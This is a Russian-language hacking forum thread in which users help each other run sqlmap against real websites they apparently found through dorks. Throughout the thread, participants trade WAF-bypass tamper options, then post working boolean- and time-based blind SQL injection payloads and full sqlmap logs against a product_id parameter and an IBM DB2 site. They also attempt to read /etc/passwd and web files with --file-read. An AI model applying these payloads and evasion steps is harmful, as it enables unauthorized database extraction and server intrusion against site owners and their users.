Вопросы по SQLMap

Discussion in 'Уязвимости' started by randman, 1 Oct 2015.

  1. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    1)нет прав
    2)waf ответ 301 может или истекла сессия или поменялся ответ от сервера проверьте сайт не http может указывать нужно ,а https , после пробуйте --hex --no-cast ,тамперы и обход waf https://github.com/Ekultek/WhatWaf
    3)поискать другую ошибку,где нет редиректа
     
    _________________________
    GoodBoy and Veil like this.
  2. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    пробую проверить, появляется ошибка
    Не подскажите, как решить?
     

    Attached Files:

  3. Sensoft

    Sensoft Member

    Joined:
    14 Jun 2015
    Messages:
    398
    Likes Received:
    38
    Reputations:
    1
    Ты кажись насувал дахуя тамперов
    кстати количество вроде не решит для каждой защиты свои тамперы (но это не точно)
     
  4. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    вроде написано что слишком много редиректов.
     
    _________________________
  5. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    так я запустил по инструкции на гите, чтобы определило waf и указало какой тампер надо использовать.
    И спустя стольких редиректов получаю ошибку. Я тампер в sqlmap вообще не использовал, думал WhatWaf подскажет что использовать
     
  6. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Code:
    --tamper=greatest или --tamper=between или --tamper=least
    Попробуйте один из этих. Судя по логам проблема в символе >, возможно так же и в <!
     
  7. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    --tamper=between
    помог, но как вы узнали по логам? как обучиться такому кунг-фу? :) обалдеть, сразу получил список баз
     
  8. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Практика и труд
     
  9. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    кстати, а скорость можно увеличить, помимо кол-ва потоков (--threads 10) и так максимально стоит.
    Уж очень долго получаю список таблиц. Боюсь данные буду получать несколько часов :)
     
  10. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    простите за столь глупые вопросы :)

    в итоге найдено
    Code:
    Parameter: product_id (GET)
        Type: boolean-based blind
        Title: AND boolean-based blind - WHERE or HAVING clause
        Payload: route=product/product&path=1&product_id=1 AND 9533=9533
    
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 OR time-based blind
        Payload: route=product/product&path=1&product_id=1 OR SLEEP(10)
    Пытаюсь получить файл.
    Code:
    sqlmap -u "https://site/index.php?route=product/product&path=1&product_id=1" -p product_id --file-read='/var/www/site/robots.txt' --time-sec 10 --tamper=between
    
    Использую tamper=between
    Пробую прочитать через --file-read
    [03:13:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
    [03:13:37] [INFO] retrieved:
    [03:13:45] [WARNING] reflective value(s) found and filtering out
    [03:13:47] [WARNING] time-based comparison requires larger statistical model, please wait........................ (done)
    [03:14:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
    [03:15:30] [WARNING] turning off pre-connect mechanism because of connection time out(s)

    [03:16:32] [ERROR] invalid character detected. retrying..
    [03:19:06] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
    [03:19:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site'
    Файл не сохраняется, если добавить --hex (--no-cast)
    [03:27:25] [INFO] retrieved:
    [03:27:31] [WARNING] reflective value(s) found and filtering out
    [03:27:52] [INFO] retrieved:
    [03:27:52] [WARNING] there was a problem decoding value ' ' from expected hexadecimal form
    do you want confirmation that the remote file '/var/www/site/robots.txt' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
    [03:29:05] [INFO] retrieved:
    [03:29:05] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
    files saved to [1]:
    [*] /root/.sqlmap/output/site/files/_var_www_site_robots.txt (size differs from remote file)
    [03:29:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site'
    и сохраняется пустой файл.
    Проблема в правах или что-то с преобразованием символом нужно шаманить? Есть ли вариант здесь раскрутить на чтение файлов?
     
  11. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    Привет, проверь права --is-dba если тру ,то дальше думать будем. И прочитать попробуй /etc/passwd
     
    _________________________
  12. mardoksp

    mardoksp Banned

    Joined:
    8 Apr 2007
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    False, даже не могу прочитать хэш пароля.
    /etc/passwd аналогично не читает.

    Запросы из бд отрабатывают, но вот бы исходники сайта еще просмотреть.
     
  13. GoodBoy

    GoodBoy New Member

    Joined:
    24 Jul 2017
    Messages:
    32
    Likes Received:
    2
    Reputations:
    0
    Здравствуйте. Сколько не сканировал сайты по доркам, (качество сайтов, определенно не лучшее) - никогда не попадалось is-dba=true, это нормально?
     
  14. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    сайтов с нужными правами мало осталось
    https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html
     
    _________________________
    GoodBoy likes this.
  15. cat1vo

    cat1vo Level 8

    Joined:
    12 Aug 2009
    Messages:
    375
    Likes Received:
    343
    Reputations:
    99
    Даже наличие прав, не всегда панацея, сейчас повсеместно включен secure-file-priv
    https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv
     
    #715 cat1vo, 21 Jul 2018
    Last edited: 21 Jul 2018
    grimnir, BabaDook and GoodBoy like this.
  16. GoodBoy

    GoodBoy New Member

    Joined:
    24 Jul 2017
    Messages:
    32
    Likes Received:
    2
    Reputations:
    0
  17. Lazy

    Lazy New Member

    Joined:
    19 Jul 2011
    Messages:
    94
    Likes Received:
    2
    Reputations:
    3
    Нашел бажный скрипт , который стоит на нескольких сайтах . Sqlmap почти нормально читает через сиквел . Почти потому , что скрипт или сервер заменяет символ нижнего подчеркивания на запятую или дефис . При этом я могу читать имена баз , таблиц и чаще всего столбцы . Но не могу дампить .
    --hex вроде бы решает проблему , но данные все равно не дампятся . Tamper не помогает .
    Как я понял из ответов curl нижнее подчеркивание и все до него вырезается из имени таблицы при запросе . Таблица вида site_users в select запросе превращается в просто users .
    Но при этом всем мне удалось все же найти один сайт где с --hex нужные таблицы нормально читаются :\
    Хочется понять откуда у этого растут ноги . Это сам скрипт творит , или фаер , или может модуль апача так извращается ?
    Ну и реально ли как-то заэкранировать нижнее подчеркивание в запросе .
     
  18. cna

    cna New Member

    Joined:
    10 Feb 2018
    Messages:
    10
    Likes Received:
    1
    Reputations:
    1
    надо чекнуть что фильтрует и обойти для начала) попробуй обычно если норм составишь запрос за раз --sql-query норм вывоит
    бывают такие заморочки от того что можно указывать части запроса отдельно в специальных переменных до просто обычных глюков скульмапчика с кучей запросов или банальная ошибка синтаксиса но если возможность вывести колонки в работе с вафом можно фазить все слова символы в разные кодировк смешаны с заменой в тампере зависит какая бд? и очень важно не стрессить себя и свою плату особенно с большим количеством блайнд запросов что бы там не сбилось нече --no-cast
    стукни чекну)
     
    #718 cna, 1 Aug 2018
    Last edited: 1 Aug 2018
  19. cna

    cna New Member

    Joined:
    10 Feb 2018
    Messages:
    10
    Likes Received:
    1
    Reputations:
    1
    считаю если с прив все ок то помоему нельзя залиться только если не понятно почему не выдает пути к специальной папке вне корня надо инклуд или как еще отуда дальше) и откуда то

    интересно мускуль еще не научился как то кампастить с отведенной папки то?)
    ну тут или обойти исполнения или надо понять как можно обойти эту опцию)
     
  20. Sentureg

    Sentureg New Member

    Joined:
    31 Jul 2018
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Помогите раскрутить сайт
    Parameter: SiteId (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Vector: AND [INFERENCE]


    Code:
    [14:07:25] [INFO] the back-end DBMS is IBM DB2
    back-end DBMS: IBM DB2
    [14:07:25] [INFO] fetching current user
    [14:07:25] [PAYLOAD] 200001
    [14:07:25] [INFO] retrieving the length of query output
    [14:07:25] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(51) AND 'PPkh'='PPkh
    [14:07:27] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(54) AND 'PPkh'='PPkh
    [14:07:27] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(56) AND 'PPkh'='PPkh
    [14:07:28] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(57) AND 'PPkh'='PPkh
    [14:07:29] [INFO] retrieved:
    [14:07:29] [DEBUG] performed 4 queries in 3.84 seconds
    [14:07:29] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(66) AND 'PPkh'='PPkh
    [14:07:30] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(97) AND 'PPkh'='PPkh
    [14:07:33] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(101) AND 'PPkh'='PPkh
    [14:07:33] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(119) AND 'PPkh'='PPkh
    [14:07:34] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(user AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(120) AND 'PPkh'='PPkh
    [14:07:36] [INFO] retrieved:
    [14:07:36] [DEBUG] performed 9 queries in 10.87 seconds
    current user:   None
    [14:07:36] [INFO] testing if current user is DBA
    current user is DBA:    True
    [14:07:36] [WARNING] schema names are going to be used on IBM DB2 for enumeration as the counterpart to database names on other DBMSes
    [14:07:36] [INFO] fetching database (schema) names
    [14:07:36] [INFO] fetching number of databases
    [14:07:36] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(66) AND 'MrxP'='MrxP
    [14:07:39] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(97) AND 'MrxP'='MrxP
    [14:07:42] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(101) AND 'MrxP'='MrxP
    [14:07:43] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(119) AND 'MrxP'='MrxP
    [14:07:44] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(COUNT(schemaname) AS CHAR(254))),CHR(32))) FROM syscat.schemata),1,1)>CHR(120) AND 'MrxP'='MrxP
    [14:07:45] [INFO] retrieved:
    [14:07:45] [DEBUG] performed 5 queries in 8.49 seconds
    [14:07:45] [ERROR] unable to retrieve the number of databases
    [14:07:45] [INFO] falling back to current database
    [14:07:45] [INFO] fetching current database
    [14:07:45] [INFO] retrieving the length of query output
    [14:07:45] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(51) AND 'SSnj'='SSnj
    [14:07:46] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(54) AND 'SSnj'='SSnj
    [14:07:47] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(56) AND 'SSnj'='SSnj
    [14:07:47] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(LENGTH(RTRIM(CAST(HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) AS CHAR(254)))) AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(57) AND 'SSnj'='SSnj
    [14:07:48] [INFO] retrieved:
    [14:07:48] [DEBUG] performed 4 queries in 3.55 seconds
    [14:07:48] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(66) AND 'SSnj'='SSnj
    [14:07:49] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(97) AND 'SSnj'='SSnj
    [14:07:51] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(101) AND 'SSnj'='SSnj
    [14:07:54] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(119) AND 'SSnj'='SSnj
    [14:07:55] [PAYLOAD] 200001' AND SUBSTR((SELECT HEX(COALESCE(RTRIM(CAST(current server AS CHAR(254))),CHR(32))) FROM SYSIBM.SYSDUMMY1),1,1)>CHR(120) AND 'SSnj'='SSnj
    [14:07:59] [INFO] retrieved:
    [14:07:59] [DEBUG] performed 9 queries in 13.88 seconds
    [14:07:59] [WARNING] on IBM DB2 you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
    [14:07:59] [CRITICAL] unable to retrieve the database names
    
    [*] shutting down at 14:07:59
    пробывал --hex, --no-cast, не помогает